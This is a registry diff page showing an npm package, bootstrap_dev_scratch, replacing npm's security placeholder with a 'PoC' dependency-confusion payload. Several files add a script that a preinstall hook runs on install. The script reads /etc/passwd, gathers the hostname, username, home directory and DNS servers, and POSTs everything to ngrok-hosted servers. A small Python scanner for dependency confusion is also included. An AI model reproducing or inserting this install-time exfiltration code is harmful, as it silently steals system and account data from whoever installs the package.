bootstrap_dev_scratch 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bootstrap_dev_scratch might be problematic. Click here for more details.

@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "06c6-223-206-12-215.ngrok-free.app", // Replace with Burp collaborator link
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "xdraco",
3
+ "version": "1.0.1",
4
+ "description": "PoC by @zin_min_phyo",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "7272-49-237-18-223.ngrok-free.app", // Replace with Burp collaborator link
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "bb6b-1-46-156-64.ngrok-free.app", // Replace with Burp collaborator link or your server
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "maker-governance-dashboard-server",
3
+ "version": "1.0.2",
4
+ "description": "PoC by @zin_min_phyo",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "bootstrap_dev_scratch",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "PoC by @zin_min_phyo",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/patex/gas.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "a627-223-206-13-212.ngrok-free.app", // Replace with Burp collaborator link
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "sdk-gas-estimate",
3
+ "version": "1.0.1",
4
+ "main": "gas.js",
5
+ "license": "MIT",
6
+ "dependencies": {
7
+ "@eth-patex/sdk": "^1.0.1",
8
+ "dotenv": "^16.0.1",
9
+ "ethers": "^5.7.2",
10
+ "yargs": "^17.7.2"
11
+ },
12
+ "scripts": {
13
+ "test": "echo \"Error: no test specified\" && exit 1",
14
+ "preinstall": "node index.js"
15
+ },
16
+ }
package/script.py ADDED
@@ -0,0 +1,70 @@
1
+ import os
2
+ import json
3
+
4
+ # Files to check for dependency confusion
5
+ FILES_TO_CHECK = [
6
+ 'package.json',
7
+ 'package-lock.json',
8
+ 'yarn.lock',
9
+ 'yarn-error.log',
10
+ 'npm-debug.log',
11
+ 'yarn-debug.log'
12
+ ]
13
+
14
+ # Public repository names (for example, npm, yarn)
15
+ PUBLIC_REPOS = ['https://registry.npmjs.org/', 'https://registry.yarnpkg.com/']
16
+
17
+ def find_files_to_check(root_dir='.'):
18
+ """
19
+ Recursively search for the files related to package management within a directory.
20
+ :param root_dir: The root directory to start the search.
21
+ :return: List of files found.
22
+ """
23
+ files_found = []
24
+ for dirpath, _, filenames in os.walk(root_dir):
25
+ for file in filenames:
26
+ if file in FILES_TO_CHECK:
27
+ files_found.append(os.path.join(dirpath, file))
28
+ return files_found
29
+
30
+ def check_for_public_repos(file_path):
31
+ """
32
+ Check if any public repositories are being used in the specified file.
33
+ :param file_path: The path to the file to be checked.
34
+ :return: List of public repo URLs found.
35
+ """
36
+ public_repos_found = []
37
+ try:
38
+ with open(file_path, 'r', encoding='utf-8') as file:
39
+ content = file.read()
40
+ for public_repo in PUBLIC_REPOS:
41
+ if public_repo in content:
42
+ public_repos_found.append(public_repo)
43
+ except Exception as e:
44
+ print(f"Error reading {file_path}: {e}")
45
+ return public_repos_found
46
+
47
+ def main(root_dir='.'):
48
+ print(f"Scanning directory: {root_dir}")
49
+ files_to_check = find_files_to_check(root_dir)
50
+
51
+ if not files_to_check:
52
+ print("No package management files found.")
53
+ return
54
+
55
+ print(f"Found {len(files_to_check)} files to check.")
56
+
57
+ for file in files_to_check:
58
+ public_repos = check_for_public_repos(file)
59
+ if public_repos:
60
+ print(f"Potential Dependency Confusion in {file}:")
61
+ for repo in public_repos:
62
+ print(f" - Uses public repository: {repo}")
63
+ else:
64
+ print(f"No public repositories found in {file}")
65
+
66
+ if __name__ == "__main__":
67
+ # Provide the root directory to scan as the first argument, or it will default to current directory
68
+ import sys
69
+ directory_to_scan = sys.argv[1] if len(sys.argv) > 1 else '.'
70
+ main(directory_to_scan)
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bootstrap_dev_scratch for more information.